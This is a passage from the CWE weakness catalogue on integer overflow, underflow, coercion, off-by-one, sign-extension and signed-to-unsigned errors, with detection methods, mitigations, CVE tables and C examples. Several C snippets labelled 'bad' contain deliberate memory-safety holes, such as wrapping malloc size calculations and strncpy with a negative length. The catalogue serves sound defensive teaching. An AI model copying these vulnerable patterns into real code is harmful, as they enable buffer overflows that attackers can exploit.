This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

Phase: Implementation

Strategy = Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

*Example Language: C**(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

*Example Language: C**(bad)*

```
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
```

If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

Example 3:

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

*Example Language: C**(bad)*

```
short int bytesRec = 0;
char buf[SOMEBIGNUM];
while(bytesRec < MAXGET) {
    bytesRec += getFromInput(buf+bytesRec);
}
```

In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.

Example 4:

In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.

*Example Language: C**(bad)*

```
#define JAN 1
#define FEB 2
#define MAR 3
short getMonthlySales(int month) {...}
float calculateRevenueForQuarter(short quarterSold) {...}
int determineFirstQuarterRevenue() {
    // Variable for sales revenue for the quarter
    float quarterRevenue = 0.0f;
```

```

short JanSold = getMonthlySales(JAN); /* Get sales in January */
short FebSold = getMonthlySales(FEB); /* Get sales in February */
short MarSold = getMonthlySales(MAR); /* Get sales in March */
// Calculate quarterly total
short quarterSold = JanSold + FebSold + MarSold;
// Calculate the total revenue for the quarter
quarterRevenue = calculateRevenueForQuarter(quarterSold);
saveFirstQuarterRevenue(quarterRevenue);
return 0;
}

```

However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.

Example Language: C

(good)

```

...
float calculateRevenueForQuarter(long quarterSold) {...}
int determineFirstQuarterRevenue() {
    ...
    // Calculate quarterly total
    long quarterSold = JanSold + FebSold + MarSold;
    // Calculate the total revenue for the quarter
    quarterRevenue = calculateRevenueForQuarter(quarterSold);
    ...
}

```

Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short.

Observed Examples

| Reference | Description |
|-------------------------|---|
| CVE-2018-10887 | Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10887 |
| CVE-2019-1010006 | Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010006 |

Notes

Relationship

Integer overflows can be primary to buffer overflows.

Terminology

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-------------------|--|
| PLOVER | | | Integer overflow (wrap or wraparound) |
| 7 Pernicious Kingdoms | | | Integer Overflow |
| CLASP | | | Integer overflow |
| CERT C Secure Coding | INT18-C | CWE More Abstract | Evaluate integer expressions in a larger size before comparing or assigning to that size |
| CERT C Secure Coding | INT30-C | CWE More Abstract | Ensure that unsigned integer operations do not wrap |
| CERT C Secure Coding | INT32-C | Imprecise | Ensure that operations on signed integers do not result in overflow |
| CERT C Secure Coding | INT35-C | | Evaluate integer expressions in a larger size before comparing or assigning to that size |
| CERT C Secure Coding | MEM07-C | CWE More Abstract | Ensure that the arguments to calloc(), when multiplied, do not wrap |
| CERT C Secure Coding | MEM35-C | | Allocate sufficient memory for an object |

CWE-191: Integer Underflow (Wrap or Wraparound)

| | |
|---------------------------|-----------------------|
| Weakness ID : 191 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

Extended Description

This can happen in signed and unsigned cases.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-----------------------|------|
| ChildOf | P | 682 | Incorrect Calculation | 1365 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|----------------|------|
| MemberOf | C | 189 | Numeric Errors | 2028 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Language : Java (Prevalence = Undetermined)

Language : C# (Prevalence = Undetermined)

Alternate Terms

Integer underflow : "Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue. "Integer underflow" is occasionally used to describe array index errors in which the index is negative.

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Availability | DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i> | |
| Integrity | Modify Memory <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i> | |
| Confidentiality Availability Access Control | Execute Unauthorized Code or Commands Bypass Protection Mechanism | |

| Scope | Impact | Likelihood |
|-------|---|------------|
| | <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i> | |

Demonstrative Examples

Example 1:

The following example subtracts from a 32 bit signed integer.

Example Language: C

(bad)

```
#include <stdio.h>
#include <stdbool.h>
main (void)
{
    int i;
    i = -2147483648;
    i = i - 1;
    return 0;
}
```

The example has an integer underflow. The value of i is already at the lowest negative value possible, so after subtracting 1, the new value of i is 2147483647.

Example 2:

This code performs a stack allocation based on a length calculation.

Example Language: C

(bad)

```
int a = 5, b = 6;
size_t len = a - b;
char buf[len]; // Just blows up the stack
}
```

Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2004-0816 | Integer underflow in firewall via malformed packet. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0816 |

CWE-192: Integer Coercion Error

| | |
|------------------------------|----------------------------|
| Weakness ID : 192 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Integrity Other | Other <i>Integer coercion errors result in an incorrect value being stored for the variable in question.</i> | |

Potential Mitigations

Phase: Requirements

A language which throws exceptions on ambiguous data casts might be chosen.

Phase: Architecture and Design

Design objects and program flow such that multiple or complex casts are unnecessary

Phase: Implementation

Ensure that any data type casting that you must use is entirely understood in order to reduce the plausibility of error in use.

Demonstrative Examples

Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C

(bad)

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs validation on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C

(bad)

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|---|------|------|
| MemberOf |  | 738 | CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT) | 734 | 2059 |

| MemberOf |  | 1158 | SEI CERT C Coding Standard - Guidelines 04. Integers (INT) | 1154 | 2172 |

Notes

Maintenance

Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly. This has implications for the presentation of this entry and others, such as CWE-681, and whether there is enough of a difference for these entries to be split.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-------|--|
| CLASP | | | Integer coercion error |
| CERT C Secure Coding | INT02-C | | Understand integer conversion rules |
| CERT C Secure Coding | INT05-C | | Do not use input functions to convert character data if they cannot handle all possible inputs |
| CERT C Secure Coding | INT31-C | Exact | Ensure that integer conversions do not result in lost or misinterpreted data |

CWE-193: Off-by-one Error

| | |
|---------------------------|-----------------------|
| Weakness ID : 193 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------|------|
| MemberOf |  | 189 | Numeric Errors | 2028 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

off-by-five : An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Availability | DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i> | |
| Integrity | Modify Memory <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i> | |
| Confidentiality Availability Access Control | Execute Unauthorized Code or Commands Bypass Protection Mechanism <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i> | |

Potential Mitigations

Phase: Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().

Demonstrative Examples

Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C

(bad)

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
```

```
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

In this example, the code does not account for the terminating null character, and it writes one byte beyond the end of the buffer.

The first call to `strncat()` appends up to 20 characters plus a terminating null character to `fullname[]`. There is plenty of allocated space for this, and there is no weakness associated with this first call. However, the second call to `strncat()` potentially appends another 20 characters. The code does not account for the terminating null character that is automatically added by `strncat()`. This terminating null character would be written one byte beyond the end of the `fullname[]` buffer. Therefore an off-by-one error exists with the second `strncat()` call, as the third argument should be 19.

Example Language: C

(bad)

```
char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
strncat(fullname, firstname, 20);
strncat(fullname, lastname, 20);
```

When using a function like `strncat()` one must leave a free byte at the end of the buffer for a terminating null character, thus avoiding the off-by-one weakness. Additionally, the last argument to `strncat()` is the number of characters to append, which must be less than the remaining space in the buffer. Be careful not to just use the total size of the buffer.

Example Language: C

(good)

```
char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
strncat(fullname, firstname, sizeof(fullname)-strlen(fullname)-1);
strncat(fullname, lastname, sizeof(fullname)-strlen(fullname)-1);
```

Example 3:

The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

Example Language: C

(bad)

```
#define PATH_SIZE 60
char filename[PATH_SIZE];
for(i=0; i<=PATH_SIZE; i++) {
    char c = getc();
    if (c == 'EOF') {
        filename[i] = '\0';
    }
    filename[i] = getc();
}
```

}

In this case, the correct continuation condition is shown below.

Example Language: C

(good)

```
for(i=0; i<PATH_SIZE; i++) {
...
}
```

Example 4:

As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

Example Language: C

(bad)

```
int setFilename(char *filename) {
    char name[20];
    sprintf(name, "%16s.dat", filename);
    int success = saveFormattedFilenameToDB(name);
    return success;
}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2003-0252 | Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0252 |
| CVE-2001-1391 | Off-by-one vulnerability in driver allows users to modify kernel memory. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1391 |
| CVE-2002-0083 | Off-by-one error allows local users or remote malicious servers to gain privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0083 |
| CVE-2002-0653 | Off-by-one buffer overflow in function used by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0653 |
| CVE-2002-0844 | Off-by-one buffer overflow in version control system allows local users to execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0844 |
| CVE-1999-1568 | Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1568 |
| CVE-2004-0346 | Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0346 |
| CVE-2004-0005 | Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0005 |

| Reference | Description |
|----------------------|--|
| CVE-2003-0356 | Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0356 |
| CVE-2001-1496 | Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1496 |

| CVE-2003-0466 | Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0466 |
| CVE-2003-0625 | Off-by-one error allows read of sensitive memory via a malformed request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0625 |
| CVE-2006-4574 | Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4574 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---|-----|------|
| MemberOf |  | 741 | CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR) | 734 | 2061 |
| MemberOf |  | 875 | CERT C++ Secure Coding Section 07 - Characters and Strings (STR) | 868 | 2093 |
| MemberOf |  | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf |  | 977 | SFP Secondary Cluster: Design | 888 | 2123 |

Notes

Relationship

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

Research Gap

Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|--|
| PLOVER | | | Off-by-one Error |
| CERT C Secure Coding | STR31-C | | Guarantee that storage for strings has sufficient space for character data and the null terminator |

CWE-194: Unexpected Sign Extension

| | |
|------------------------------|----------------------------|
| Weakness ID : 194 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : C++ (Prevalence = Undetermined)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Read Memory | |
| Confidentiality | Modify Memory | |
| Availability | Other | |
| Other | <p><i>When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.</i></p> | |

Potential Mitigations

Phase: Implementation

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform validation after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

Demonstrative Examples

Example 1:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C (bad)

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

}

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2018-10887 | Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10887 |
| CVE-1999-0234 | Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0234 |
| CVE-2003-0161 | Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0161 |
| CVE-2007-4988 | chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4988 |
| CVE-2006-1834 | chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1834 |
| CVE-2005-2753 | Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2753 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|--|------|------|
| MemberOf |  | 998 | SFP Secondary Cluster: Glitch in Computation | 888 | 2135 |
| MemberOf |  | 1158 | SEI CERT C Coding Standard - Guidelines 04. Integers (INT) | 1154 | 2172 |

Notes

Relationship

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

Maintenance

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

Taxonomy Mappings

CWE-195: Signed to Unsigned Conversion Error

Weakness ID : 195

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

Extended Description

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|---|------|

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 681 | Incorrect Conversion between Numeric Types | 1361 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---|------------|
| Integrity | Unexpected State <i>Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.</i> | |

Demonstrative Examples

Example 1:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

Example Language: C

(bad)

```
unsigned int readdata () {  
    int amount = 0;  
    ...  
    if (result == ERROR)  
        amount = -1;  
    ...  
    return amount;  
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2:

In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Example Language: C

(bad)

```
unsigned int readdata () {  
    int amount = 0;  
    ...  
